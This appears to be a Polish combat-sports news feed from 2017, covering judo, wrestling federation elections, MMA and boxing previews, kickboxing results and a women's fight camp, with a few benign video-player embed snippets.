Nasza kadra do mistrzostw Europy przygotowywała się w Giżycku. Na zgrupowaniu biało-czerwoni pracowali z pełnym zaangażowaniem, co ma dać efekty na tatami w Kownie. Należy mieć nadzieję na dobre wyniki, biorąc pod uwagę dyspozycję naszych kadrowiczów. Natalia Kropska (57kg) triumfowała w Berlinie, zaś Nikola Szlachta (44kg) w Follonicy, a Marta Kuraś (48kg) w Zagrzebiu. Osiągnięciami może pochwalić się również Adam Stodolski (73kg). 17-latek wygrał w Teplicach i był trzeci w Bielsku.
Kto powalczy o medale?
Wśród kadetek w rywalizacji indywidualnej zaprezentują się: Alicja Gowarzewska (-40kg), Nikola Szlachta (-44kg), Marta Kuraś (-48kg), Natalia Kropska (-57kg), Kinga Wolszczak (+70kg) , Aleksandra Gaj (+70kg). Z kolei w drużynie wystąpią także: Agata Pałka (-52kg) i Agata Szafran (-63kg). O medale wśród kadetów będą walczyć: Marcin Kowalski (-55kg) i Adam Stodolski (-73kg). W składzie drużyny są: Jakub Biedrzycki i Igor Matusiak (-60kg), Jakub Pankowski (-66kg), Bartosz Szaniawski (-81kg) oraz Norbert Ślusarz (+81kg).
KM
Andrzej Supron wygrał kolejną walkę. Tym razem o fotel prezesa Polskiego Związku Zapaśniczego, na którym będzie zasiadał do 2020 roku.
Ostatnie tygodnie w polskich zapasach były niezwykle gorące, ale nie za sprawą emocji sportowych, lecz zmian personalnych „na górze”.
Nowy król
24 czerwca w Warszawie odbyło się Nadzwyczajne Walne Zgromadzenie Delegatów Polskiego Związku Zapaśniczego. Szykowała się pasjonująca walka, bo na placu boju pojawili się znakomici zawodnicy: Andrzej Supron i Andrzej Wroński. Obaj rywalizowali o fotel prezesa Polskiego Związku Zapaśniczego. Z 97 upoważnionych osób, w Warszawie zjawiło się 85 delegatów. Wygrał Supron, który uzyskał 51 głosów. Z kolei Andrzej Wroński zdobył poparcie 33 delegatów.
Wicemistrz olimpijski z Moskwy nie krył radości ze zwycięstwa. – Przyszedł ten moment, gdzie spotkała mnie miła przyjemność uzyskania odpowiedniej ilości głosów, żeby zostać prezesem Polskiego Związku Zapaśniczego, a co najważniejsze prezesem ukochanych moich zapasów – powiedział Andrzej Supron.
64-latek doskonale zdaje sobie sprawę z sytuacji polskich zapasów. Wierzy, że wspólny wysiłek wyda owoce. – Zrobię wszystko, żeby zapasy wróciły na zasłużone miejsce. Robię wszystko, aby pozyskać odpowiednie środki do realizacji naprawdę trudnych zadań. Wiem, że czeka mnie ciężka praca. Zapasy są w tej chwili w trudnej sytuacji. Toteż przy pomocy ludzi związanych z zapasami i mam nadzieję, że wspólnie pokonamy te wszystkie trudności. To będzie gwarant tego, że może w którymś momencie będziemy się cieszyli z kolejnych sukcesów naszych zapaśniczek i zapaśników – tłumaczy nowy prezes PZZ.
Zawirowania
W maju ze stanowiskiem prezesa PZZ pożegnał się Grzegorz Brudziński, który funkcję pełnił od listopada. Najpierw zawodnik, a później sędzia pozostawił w pokonanym polu m.in. Wrońskiego i Suprona. Praca Brudzińskiego budziła wątpliwości związkowych delegatów. Pojawiły się zarzuty dotyczące niekompetencji i generowania nadmiernych kosztów, co poskutkowało odwołaniem go ze stanowiska podczas zjazdu PZZ, który odbył się 14 maja.
Do czasu zwołania Walnego Zjazdu Sprawozdawczo-Wyborczego pełnienie funkcji prezesa powierzono Andrzejowi Wrońskiemu. Legendarny zapaśnik, zdaniem wielu, znalazł się na właściwym miejscu. Po kilku tygodniach musi ustąpić miejsca Supronowi. Wicemistrz olimpijski z Moskwy to nie tylko utytułowany zapaśnik, ale postać powszechnie znana i szanowana. Supron wraz ze swoimi współpracownikami ma czas, aby nadać polskim zapasom nowy blask. Za trzy lata w Tokio wszyscy będą mogli powiedzieć: sprawdzamy!
KM
W sobotę (24 czerwca) Oskar Piechota stanie przed szansą zdobycia pasa mistrzowskiego kategorii średniej organizacji Cage Warriors. Na gali w Bournemouth Polak zmierzy się z Jasonem Radcliffem. Kolejną walkę w UFC stoczy Damian Grabowski, który 22 lipca spotka się z Chasem Shermanem. Michał Kita, ostatnio występujący na galach KSW, wystąpi w Pradze.
Oskar Piechota to jeden z najbardziej perspektywicznych zawodników wagi średniej MMA w Polsce. Jeśli zdobędzie pas Cage Warriors, może być o nim naprawdę głośno.
Od zwycięstwa do zwycięstwa
Przygoda 27-letniego Piechoty ze sportami walki zaczęła się od submission. Zawodnik zdobywał tytuły mistrza Europy i mistrza kraju, triumfował także w Pucharach Polski. Pierwszą walkę w MMA stoczył w marcu 2011 roku. Piechota w niecałą minutę uporał się z Patrykiem Kanią, którego poddał przez duszenie trójkąta rękoma.
Ciężka praca sprawiła, że „Imadło” stał się czołową postacią wagi średniej w Polsce. O Piechocie mówi się już w kontekście angażu w UFC. Tak naprawdę wszystko przed nim, a zdobycie pasa Cage Warriors może być dla Polaka trampoliną do najlepszej organizacji MMA na świecie. A w oktagonie Piechota prezentuje się bez zarzutu. Osiem walk wygrał przed czasem, w tym cztery w pierwszej rundzie. W ostatnim pojedynku, na Spartan Fight 7, pokonał w premierowej odsłonie Sergio Souzę po niespełna 40 sekundach.
24 czerwca w Bournemouth Polak będzie mógł otworzyć nowy rozdział w karierze. Na gali Cage Warriors 85 Piechota zmierzy się z Jasonem Radcliffem. Anglik ma znakomitą passę sześciu zwycięstw z rzędu. „The Assassin” ma potężny cios, aż 7 z 11 walk wygrał przez nokaut.
Czekają na zwycięstwo
Damian Grabowski nie ma dobrej passy w UFC. Po sukcesach w M-1 Challenge, przyszedł zimny prysznic. 37-letni fighter przegrał przed czasem z Derrickiem Lewisem i Anthony'm Hamiltonem. 22 lipca na gali UFC on Fox 25 Polak zmierzy się z Chasem Shermanem. Po początkowych problemach w UFC, 27-letni Amerykanin wyszedł na prostą. Zaczął od dwóch porażek, jednak na UFC 211 znokautował w Rashada Coultera. Grabowski będzie musiał stanąć na wysokości zadania. W przypadku porażki jego sytuacja w UFC skomplikuje się.
Michał Kita rusza do Pragi. 25 czerwca polski zawodnik wagi ciężkiej zaprezentuje się na gali XFN, a jego rywalem będzie Victor Pesta. Kibice MMA mogli ostatnio podziwiać 37-letniego Kitę w KSW. W trzech walkach doświadczony zawodnik zanotował jedno zwycięstwo, w październiku 2016 roku pokonał Michała Włodarka. Kilka tygodni temu na stadionie PGE Narodowy w Warszawie po upływie 74 sekund przegrał z Michałem Andryszakiem.
W znacznie trudniejszym położeniu znajduje się Victor Pesta. 26-letni Czech musi odbudować swoją pozycję po trzech porażkach w UFC. Pogromcą Pesty był m.in. Marcin Tybura.
fot. sherdog.com
KM
Tomasz Adamek, Krzysztof Głowacki i Mateusz Masternak – to gwiazdy sobotniej (24 czerwca) gali Polsat Boxing Night 7, która odbędzie się w gdańskiej Ergo Arenie. Wspólnym mianownikiem dla wspomnianych bokserów jest fakt, że kiedyś byli mistrzami. W Gdańsku chcą potwierdzić swoje możliwość i przypomnieć o sobie. O piękno gali zadba tymczasowa mistrzyni świata WBO w kategorii super piórkowej Ewa Brodnicka, która zmierzy się z Marisol Reyes.
Nic nie jest dane nie zawsze. Dlatego też swojej zdobyczy należy bronić jak lew i robić wszystko, aby jak najdłużej pozostać w jej posiadaniu. Mordercze walki Tomasza Adamka sprawiły, że stał się ulubieńcem tłumów. Krzysztof Głowacki rozbił mocnego Marco Hucka i sięgnął po pas WBO w wadze junior ciężkiej, ale szybko go stracił. Każdy ma swoją historię, ale pisaną w różny sposób. W Gdańsku byli mistrzowie będą chcieli udowodnić, że nie powiedzieli jeszcze ostatniego słowa.
Mocne nazwiska w cenie
Gwiazdy napędzają widowisko, przyciągają tłumy. W przypadku gali Polsat Boxing Night 7 mamy do czynienia ze śmietanką polskiego boksu. Adamek, Głowacki, Masternak to pięściarze, których wielbiono i czczono. Obecnie stają przed wyzwaniem, aby wrócić na szczyt. W przypadku „Górala” mówiło się już o definitywnym zakończeniu kariery. Bokser, dla którego wielu kibiców zarywała noce, przegrał w kwietniu ubiegłego roku w Krakowie z Ericem Moliną. W dziesiątej rundzie Amerykanin rozbił Polaka.
Mistrz IBF i IBO w kategorii junior ciężkiej, WBO w kategorii półciężkiej oraz pretendent do pasa WBC w wadze ciężkiej. 40-letni Adamek tworzył piękną historię i spełniał swój amerykański sen. Emocjonujące walki z Paulem Briggsem, tytuły, a później próba podbicia wagi ciężkiej. Zaczęło się od Gołoty, a skończyło na Molinie. Ale liczba walk Adamka nie zatrzyma się na 55, będzie 56 pojedynek. W Ergo Arenie urodzony w Żywcu pięściarz zmierzy się z Solomonem Haumono. 41-letniemu Australijczyk po raz drugi będzie walczył poza Australią i Nową Zelandią. W grudniu 2012 roku udał się do Japonii, gdzie wygrał przed czasem z Kyotaro Fujimoto. Haumono potrafi zaszokować rywala i posłać go na deski. 21 z 24 zwycięstw odniósł przed czasem, zanotował trzy porażki. Ostatnią w lipcu 2016 roku z Josephem Parkerem.
Co to była za walka! Dosłownie ringowa wojna. Wspaniałe wymiany, ogromna wola walki ze strony głównych aktorów widowiska, potężne ciosy i ręka Polaka w górze. Piękny sen Krzysztofa Głowackiego spełnił się blisko dwa lata temu. W Newark Polak pokonał przez nokaut w jedenastej rundzie Marco Hucka i zdobyła pas mistrza świata WBO w kategorii junior ciężkiej. Z zasiadania na tronie bokser z Wałcza cieszył się zaledwie rok. Pokonał Steve'a Cunninghama, ale w Gdańsku musiał uznać wyższość Oleksandra Usyka. Teraz Głowacki wraca do Ergo Areny, gdzie spotka się z Hiznim Altunkayą. Początkowo Polak miał rywalizować z Brianem Howardem, jednak na przeszkodzie stanęły problemy wizowe. Altunkaya rysuje się jednak jako trudny rywal. 29-letni Turek nie poniósł porażki na zawodowym ringu. Dotychczas prezentował się w Niemczech, gdzie zanotował 29 zwycięstw. Triumf w starciu z Głowackim może pozwolić mu znaleźć się w gronie czołowych pięściarzy wagi junior ciężkiej. Ale Polak jest bardzo zmotywowany. Głowacki chce zatrzeć złe wspomnienia z walki z Usykiem i wrócić na zwycięską ścieżkę.
Obiecujący pięściarz, w którym tkwią ogromne możliwości – tak przez lata przedstawiano Mateusza Masternaka. W grudniu 2012 roku „Master” sięgnął w Norymberdze po tytuł mistrza Europy EBU w wadze junior ciężkiej pokonując na punkty Juho Haapoję. Długo się nim nie nacieszył, bo niecały rok później stracił go na rzecz Grigorija Drozda. Były marzenia o walce o mistrzostwo świata, jednak Masternak dobre pojedynki przeplatał słabszymi. Niespodziewanie przegrał z Yourim Kalengą, potem wygrał trzy starcia, w tym z Jeanem-Markiem Mormeckiem. A dwa lata temu w RPA zanotował kontrowersyjną porażką z Johnny'm Mullerem. Losy Masternaka tak się ułożyły, że ponownie miał szansę zdobyć mistrzostwo Europy, jednak lepszy okazał się Tonny Bellew. Dwie kolejne walki stoczył w Polsce i poprawił swój rekord. Masternak ma na koncie 38 zwycięstw. A jego najbliższy rywal, Ismayl Sillah, tylko 25. Ponad trzy lata temu 32-latek miał okazję walczyć o tytuł WBO. Przegrał w drugiej rundzie z Siergiej Kowaliowem. Sillah ma za sobą bogatą karierę amatorską, podczas której stoczył 370 pojedynków. Masternak musi uważać, gdyż jego rywala jest niezwykle aktywny, agresywny i skuteczny. 19 walk rozstrzygnął na swoją korzyść przed czasem.
Blask królowej
W męskim towarzystwie nie może zabraknąć pięknych kobiet. Podczas gali Polsat Boxing Night 7 odbędzie się tylko jedna walka z udziałem pań. Niezwykle urodziwa Ewa Brodnicka zmierzy się z Marisol Reyes. Brodnicka zachwyca urodą, a także skutecznością w ringu. Wygrała wszystkie trzynaście walk i może pochwalić się tymczasowym pasem WBO w kategorii super piórkowej. Starcie z Mariosl Reyes ma być ważnym krokiem na drodze do unifikacyjnej walki z Ramoną Kuhne. Jednak Polka nie może wybiegać myślami zbyt daleko. Blisko 38-letnia bokserka z Dominikany trzy razy walczyła o tytuł mistrzyni świata, jednak za każdym razem w innej kategorii. Nie zapisała jednak na swoim koncie żadnego pasa. Łącznie stoczyła 26 walk, z których 15 wygrała.
W Gdańsku zaprezentuje się także niepokonany w wadze średniej Maciej Sulęcki. 28-latek ma za sobą epizod w Stanach Zjednoczonych, gdzie stoczył cztery walki i wszystkie wygrał przed czasem. Jego najbliższym rywalem będzie Damian Ezequiel Boneli, który imponuje skutecznością w Argentynie. Drugą walkę w Polsce stoczy Łukasz Wierzbicki. Niepokonany pięściarz kategorii junior półśredniej zmierzy się z urodzonym w Chorzowie Robertem Tlatlikiem, który dotychczas rywalizował w Niemczech.
Podczas Polsat Boxing Night w ringu zaprezentują się także doświadczony Łukasz Janik, którzy podejmie Adama Balskiego oraz Norbert Dąbrowski i Robert Talarek.
KM
26 medali wywalczyli reprezentanci Polski podczas Pucharu Świata WAKO w kickboxingu we włoskim Rimini (15-18 czerwca). Biało-czerwoni zajęli piąte miejsce w klasyfikacji generalnej.
Zawody Bestfighter w Rimini to niezwykle prestiżowa impreza w kickboxerskim kalendarzu. W tym roku Puchar Świata miał szczególne znaczenie dla tych, którzy przygotowują się do startu w World Games 2017 we Wrocławiu.
W drodze do Wrocławia
W ubiegłorocznej edycji Pucharu Świata w Rimini Polacy sięgnęli po 18 złotych, 16 srebrnych i 27 brązowych medali (razem z juniorami). Ten wynik dał im czwartą pozycję wśród startujących w rywalizacji. W zawodach zaprezentowało ponad 1000 zawodników. Regułą jest, że zmagania w Rimini są mocno, a także licznie obsadzone. Nie inaczej było podczas tegorocznej edycji imprezy. Do udziału w rywalizacji zgłosiło się ponad 1800 kickboxerów w 317 kategoriach.
Rimini było ważnym testem dla reprezentantów Polski, którzy przygotowują się do startu w lipcowych Światowych Igrzyskach Sportowych we Wrocławiu. W Rimini zaprezentowało się ich czworo. Z jakim efektem? Po złoto sięgnęła Małgorzata Dymus (na zdjęciu) Zawodniczka Puchera Wrocław (56kg) bezdyskusyjnie pokonała Emilie Sarkozy z Francji, ale w finale musiała być uważna i w pełni skoncentrowana. Natalia Babintseva postawiła Polce trudne warunki, ale Dymus wygrała niejednogłośną decyzją sędziów. Skutecznością wykazał się Marcin Kret (71kg). Dwie wygrane walki dały zawodnikowi Uniq Warszawa złoto. Na najwyższym stopniu podium stanął również Arkadiusz Kaszuba (81kg). Z brązem z Rimini wraca Michał Ronkiewicz (75kg). Polak przegrał walkę z Ukraińcem Oleksandrem Shcherbyną.
Wspomniana czwórka, pod okiem Tomaszów Skrzypka i Mamulskiego, przygotowuje się do Światowych Igrzysk Sportowych (20-30 lipca). We Wrocławiu wystartuje dziewięcioro polskich kickboxerów rywalizujących w K-1. Oprócz Dymus, Kreta, Kaszuby i Ronkiewicza będą to: Marta Waliczek (60kg), Róża Gumienna (65kg), Dawid Kasperski (86kg) oraz Mateusz Pluta (91kg) i Michał Turyński (+91kg).
Dominacja gospodarzy
W Rimini Włosi nie pozostawili złudzeń, kto dzierży palmę pierwszeństwa w kickboxingu. Rzecz jasna trzeba mieć na uwadze fakt, że gospodarz ma swoje prawa. Liczba startujących przełożyła się na medale. Italia sięgnęła po 364 krążki, w tym 101 złotych. Na drugim stopniu podium Rosjanie z 176 medalami, zaś trzecia Słowenia zaledwie z… 67. Polaków wyprzedzili jeszcze Norwegowie (56).
Biało-czerwoni zapisali na swoim koncie 26 medali, w tym 12 złotych. Z dobrej strony pokazała się nasza młodzież. W kick-light na pierwszym stopniu podium stanął Armin Wilczewski (13/15 65kg) oraz Paweł Chrzanowski (+80kg), zaś Klara Piętak (65kg), Adrian Sulewski (74kg) oraz Klaudiusz Świstulski (79kg) triumfowali w light contact. W swoich kategoriach wygrywali również m.in. Anna Piętka (kick-light, 55kg) oraz mający za sobą liczne triumfy Kamil Ruta (86kg) oraz Łukasz Kaczmarczyk (71kg) w low kick.
Fot. PZKb
KM
Warsaw Sports Group OPEN 2017
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LegiaTenis2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LegiaTenis2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LegiaTenis2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LegiaTenis2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Po zwycięskim pojedynku w Dallas i kolejnej obronie pasa mistrzowskiego, najlepsza na świecie polska zawodniczka MMA wróciła do kraju i w połowie czerwca weźmie udział w obozie sparingowym Ladies Fight Night – JJCamp. Joanna Jędrzejczyk poprowadzi treningi najzdolniejszych polskich fighterek jedynej w Europie żeńskiej organizacji sportów walki, otwierające przygotowania do kolejnej gali LFN. Treningi w Łodzi będą także okazją do spotkania „oko w oko” z przeciwniczką, z którą Asia debiutowała w MMA.
JJCamp w Łodzi
Obóz sparingowy LFN Team już po raz drugi odbędzie się w Łodzi, gdzie w 2015 roku powstał projekt Ladies Fight Night. W dniach 15-18 czerwca, zawodniczki żeńskiej organizacji będą trenowały w Fight Club Łódź, szlifując formę przed kolejną galą LFN. Mocnym akcentem sportowym obozu będą treningi z Mistrzynią Świata MMA Joanną Jędrzejczyk.
– JJCamp i współpraca z Asią to konsekwentne dążenie do zapewnienia naszym zawodniczkom tego co najlepsze. Cieszymy się, że dziewczyny z LFN Team będą mogły wymienić doświadczenia sportowe z najlepszą zawodniczką MMA na świecie. – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night. – Zaplanowaliśmy cztery wspólne sesje treningowe, dwie w piątek i kolejne w sobotę. Wierzymy, że zaowocuje to jeszcze wyższym poziomem sportowym naszych gal i świetnymi walkami dziewczyn w klatkoringu. – dodaje Łukasz Chmal.
Spotkanie po latach Jędrzejczyk vs Juśkiewicz
Joanna Jędrzejczyk debiutowała w zawodowym pojedynku MMA 19 maja 2012 roku. Jej prze-ciwniczką była również debiutantka, dziś zawodniczka LFN Team, Sylwia Juśkiewicz. Po dwurun-dowej walce sędziowie orzekli wtedy zwycięstwo na punkty obecnej Mistrzyni Świata. Po pięciu latach Joanna Jędrzejczyk i Sylwia Juśkiewicz znów będą miały okazję spotkać się w kalatkoringu, tym razem podczas sesji treningowych. Od czasu debiutu Sylwia „Mała” Juśkiewicz (6-4) stoczyła 9 pojedynków w MMA. Podczas ostatniej gali Ladies Fight Night „Five Points” w Poznaniu, „Mała” dała widowiskowy popis swoich umiejętności, pewnie pokonując swoją rywalkę z Ukrainy. Sama o sobie mówi, że chce być najlepsza, a pojedynek z Jędrzejczyk przegrała tylko jednym punktem.
Gala Ladies Fight Night „IRA” w sierpniu
Obóz treningowy w Łodzi rozpocznie przygotowania do szóstej gali organizacji Ladies Fight Night zatytułowanej „Ira”, co po łacinie znaczy „gniew”. Po udanych organizacyjnie i sportowo eventach w Łodzi, Warszawie, Karpaczu i Poznaniu włodarze zapowiadają teraz letnie spotkanie z fanami kobiecego MMA i K-1 nad morzem. Gala planowana jest na drugą połowę sierpnia.
Za ideą stworzenia Ladies Fight Night, pierwszej w Europie żeńskiej organizacji sportów walki, stało przeświadczenie włodarzy o konieczności dania kobietom pola do występów – szerszego niż tylko incydentalne pojedynki na galach w Polsce. – Taka sytuacja jeszcze dwa lata temu, powodowała, że większość utalentowanych sportowo dziewcząt – takich jak Joanna Jędrzejczyk – musiało szukać szczęścia za granicą. Dziś mogą zdobywać doświadczenie w kraju. – mówi Łukasz Chmal.
Już wkrótce w dniach 15-18 czerwca w Fight Club Łódź odbędzie się już trzeci obóz sparingowy organizacji Ladies Fight Night. Po raz kolejny najzdolniejsze zawodniczki znad Wisły w formułach MMA oraz K-1 spotkają się na sali treningowej. Gościem specjalnym będzie jedyna i niepowtarzalna mistrzyni UFC w kategorii słomkowej Joanna Jędrzejczyk, która to poprowadzi dwa dni treningów. Obóz jest pierwszym etapem przygotowań do sierpniowej gali LFN. To będzie już szósta gala organizacji, tym razem pod nazwą "Ira" – co po łacinie oznacza "gniew".
[kod]
Po udanym obozie treningowym w legendarnym Mike's Gym w Amsterdamie nadszedł czas na kolejne duże przedsięwzięcie – obóz sparingowy z Joanną Jędrzejczyk! Zapraszamy na transmisję telewizyjną na żywo.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LFN5.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LFN5.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LFN5.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LFN5.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z Polish Open Modern Pentathlon Championships.Transmisję przeprowadzimy z dwóch dni finałowych tj. 17-18 czerwca 2017.
Dwaj wielcy pięściarze wagi ciężkiej mają spotkać się ponownie. W kwietniu triumfował Anthony Joshua, jednak Władimir Kliczko dostanie jeszcze jedną szansę na powrót na szczyt wagi ciężkiej. Pojedynek miałby odbyć się w jesienią.
Kubrat Pulew jest pretendentem do pasa IBF wagi ciężkiej i to on powinien walczyć z Joshuą. Jednak federacja postanowiła pójść na rękę czempionowi. Joshua może stoczyć rewanżowy pojedynek z Władimirem Kliczko. Zwycięzca spotka się z Pulewem nie później niż 2 grudnia.
Kolejne widowisko?
29 kwietnia br. na stadionie Wembley w Londynie zasiadło 90 tysięcy kibiców, a miliony przed telewizorami w napięciu śledziły starcie o prymat w wadze ciężkiej. Nie brakowało obaw, że pojedynek Joshuy z Kliczko może rozczarować. Bo te największe walki niosą ze sobą ryzyko kalkulacji, co często zabija widowisko i pozbawia go elementu napięcia. Tym razem było inaczej. Joshua i Kliczko stworzyli widowisko, które przeszło do historii boksu. To najlepsza z możliwych reklam pięściarstwa w XXI wieku. Po tym starciu 27-letni Brytyjczyk może chwalić się pasami mistrza świata WBA, IBF i IBO.
Ogromne emocje, prawdziwy bokserski spektakl. W piątej rundzie wielki mistrz Kliczko padł na deski. Młodszy Joshua swoim wigorem i siłą zbliżał się do zwycięstwa, ale w kolejnej odsłonie Ukrainiec wystrzelił i rywal był liczony. W jedenastej rundzie potężny podbródkowy Brytyjczyka rozstrzygnął losy walki.
Chciałoby się powiedzieć, a właściwie krzyknąć: więcej! Będzie! Wszystko wskazuje, że dojdzie do rewanżowego starcia Joshuy z Kliczko. Wiele zależało od decyzji federacji WBA i IBF. Obowiązkowym pretendentem do pasa tej drugiej organizacji jest Kurbat Pulew. Jednak Bułgar musi poczekać…
Jesienną porą
Starcie musiałoby się odbyć jesienią, gdyż do 2 grudnia zwycięzca mistrzowskiego pojedynku musi spotkać się z Kubratem Pulewem. Najprawdopodobniejszym terminem wydaje się przełom września i października. W grę wchodzi kilka lokalizacji. Mówi się, że walka mogłaby się odbyć nawet w… Nigerii. Inne propozycje to m.in. Chiny i USA.
Podstawowe pytanie, czy na rewanż przystanie Kliczko. Porażka z kwietniowym starciu z Joshuą sprawiła, że coraz głośniej mówiło się o zakończeniu kariery przez byłego czempiona wagi ciężkiej. Jednak obaj stworzyli na Wembley widowisko z najwyższej półki. Kliczko zanotował drugą porażkę z rzędu, ale może podjąć jeszcze jedną próbę. Nic nie traci, bo wszystko już zdobył i jest legendą. A kibice chętnie zobaczyliby drugą część pasjonującej historii Joshua vs Kliczko. Czas na negocjacje.
KM
21 października Marcin Held stoczy swoją czwartą walkę w UFC. Polski lekki zaprezentuje się na gali w Gdańsku.
Początek przygody Marcina Helda w UFC miał wyglądać zupełnie inaczej. 25-letni zawodnik przegrał trzy walki, jednak dostanie kolejną szansę. W Gdańsku będzie rywalizował o pierwszy triumf w amerykańskiej organizacji.
Ostatnia szansa
W Gdańsku Held będzie musiał wspiąć się na wyżyny. Nie ma, co ukrywać, że jego sytuacja w UFC nie wygląda kolorowo. Po trzech porażkach, ocena jego występów wydaje się jednoznaczna. W starciu z Joe Lauzonem Polak pokazał się z dobrej strony i w ocenie wielu był lepszy od Amerykanina, ale sędziowie podjęli inną decyzję. Występ w Sztokholmie, UFC 109, przez dwie rundy układał się po myśli Helda. Jednak w trzeciej rundzie nadział się na kolano Damira Hadzovicia i po upływie zaledwie kilku sekund nie był w stanie kontynuować rywalizacji.
Można zwrócić uwagę, że tyszaninowi nieco brakuje do pierwszego zwycięstwa i pełni szczęścia, błogich chwil radości. Jest o krok, jednak cały czas daleko. Bo nikt nie będzie patrzył na to jak prezentował się Held, lecz czy wygrał. Polak podpisał kontrakt na cztery walki w UFC, jednak po porażce z Hadzoviciem zrobiło się gorąco. Nie brakowało domysłów na temat zakończenia przygody 25-latka z UFC. Wróżby te okazały się przedwczesne. Na kolejną walkę Helda trzeba jeszcze poczekać, ale zobaczymy go w kraju. – Dobra wiadomość dla wszystkich moich fanów! Ostatnią walkę w Polsce stoczyłem w czerwcu 2010r. Teraz będzie kolejna okazja , ponieważ…….. widzimy się na UFC w Gdańsku! – poinformował Marcin Held.
Czas płynie nieubłaganie. Marcin Held ostatni raz wystąpił na krajowym podwórku siedem lat temu. W czerwcu 2010 roku uporał się przed czasem z Jeanem Silvą. Od tamtego czasu stoczył 19 walk, zdążył rywalizował o tytuł mistrzowski w Bellatorze i zyskać angaż w UFC.
Czekamy na Gdańsk!
Ponad dwa lata temu UFC zawitało do Krakowa. Gali UFC Fight Night 64 towarzyszyła wyjątkowa aura, bo w końcu na polskiej ziemi pojawili się najlepsi fighterzy globu. W walce wieczoru Mirko Filipović uporał się w trzeciej rundzie z Gabrielem Gonzagą. W Krakowie zaprezentowało się siedmiu Polaków, jednak tylko dwóch cieszyło się z końcowego triumfu.
Do gali w gdańskiej Ergo Arenie jeszcze cztery miesiące. Z każdym dniem temperatura będzie rosła. Trwa oczekiwanie na głównych aktorów widowiska. Pojawiają się informacje, że w Gdańsku pasa w kategorii słomkowej będzie broniła Joanna Jędrzejczyk. Na konkrety trzeba poczekać. Obecnie wiemy, że w oktagonie możemy spodziewać się Marcina Helda. Cierpliwie czekamy na kolejne nazwiska.
KM
Zapraszamy na transmisję telewizyjną na żywo z XXIII Międzynarodowe Mistrzostwa Polski Wushu Kung-Fu oraz XIV Grand International Wushu Kung-Fu Festival. Zawody odbędą się w Warszawie w dniach 10-11 czerwca 2017 r.. Start transmisji w sobotę 10 czerwca 2017 r. o godz. 9.00.
[kod]
W ciągu ostatnich trzydziestu lat mamy do czynienia z ewolucją postrzegania w społeczeństwie sportowców i samego sportu. Dawniej uprawianie sportu było traktowane jako hobby na weekendowe popołudnie. Obecnie dzięki swojej atrakcyjności marketingowej, zawodowe uprawie sportu staje się dla wielu młodych ludzi sposobem na życie.
Personal branding po polsku oznacza budowanie marki osobistej. Dzięki temu zyskujemy na ryku pracy lepszą pozycję, poszerzamy kontakty w branży i jesteśmy rozpoznawalni. Budowanie własnej marki może wydawać się trudne. Ludzie nie zwykli o sobie myśleć jak o produkcie, jakim na rynku jest np. sala konferencyjna pod warszawą. O zaletach jakie niesie za sobą budowanie własnej marki osobistej szybko przekonali się politycy, sportowcy, pracownicy edu tree, ludzie nauki i sztuki itd. Jeżeli chodzi o sportowców to dostrzegli oni konieczność pracy nad swoim wizerunkiem w momencie, gdy sportem zainteresowały się duże korporacje i zaczęły wykładać ogromne pieniądze na kluby sportowe oraz samych zawodników. W chwili obecnej wśród marketingowców używa się terminu marketing sportowy dla określenia wszelkich działań związanych z promocją w sporcie i przez sport. Jeżeli chcemy dokładnie zdefiniować czym jest marketing sportowy, musimy taką definicję podzielić na dwa obszary. Pierwszy z nich dotyczy promowania produktów lub usług związanych ze sportem np. koszulki, kubki, buty, czapeczki i wszelkie inne gadżety dla kibiców. W drugim obszarze znajdują się produkty nie związane bezpośrednio ze sportem, a mające na celu zakodowanie w umysłach odbiorców wzajemnych powiązań między produktem a sportem np. jedna z sieci komórkowych sponsoruje Polską Reprezentację Siatkówki, dzięki czemu jej logo jest widoczne podczas każdego meczu, a firma może wykorzystywać siatkarzy w swojej kampanii reklamowej. Sukcesy sportowców przekładają się na obopólny zysk i są powodem do chwały. Kibice również identyfikują się z tym sukcesem i są bardziej skłonni kupować produkty reklamowane przez ich sportowych idoli. Uprawianie sportu zawodowo jest w dzisiejszych czasach kosztowne. Odczuwają to w szczególności reprezentanci sportów indywidualnych, jak np. początkujący tenisiści. W początkach swojej kariery trudno im zdobyć fundusze na wynajem kortu do treningu, opłacenie trenera, wyjazdy zagraniczne na turnieje itd.
W przypadku budowania marki osobistej u sportowca ważne jest, aby jego wizerunek opierał się przede wszystkim na jego dokonaniach sportowych. Nie musi to oznaczać bycia grzecznym i dobrze ułożonym w życiu osobistym. Przykładem mogą tu być bokserzy, którzy najczęściej rekrutują się z „ulicznych zabijaków”.
Małgorzata Dymus (56kg), Marta Waliczek (60kg) i Róża Gumienna (65kg) – powalczą o medale w kickboxingu dla Polski podczas zbliżającej się X edycji Igrzysk Sportów Nieolimpijskich – The World Games 2017 we Wrocławiu. Impreza odbędzie się w dniach 20-30 lipca.
Kilka lat temu prowadzono ogólnoświatową zbiórkę podpisów pod petycją, której celem było wprowadzenie kickboxingu na letnie Igrzyska Olimpijskie. „Kropla drąży skałę”. Kickboxing na World Games 2017 to krok w dobrą stronę. Liczymy na efektowne walki i medale Polaków, a także na wzrost popularności dyscypliny i jej dotarcie „pod strzechy”. A później już tylko igrzyska. Trzeba wierzyć!
Krok w stronę salonów
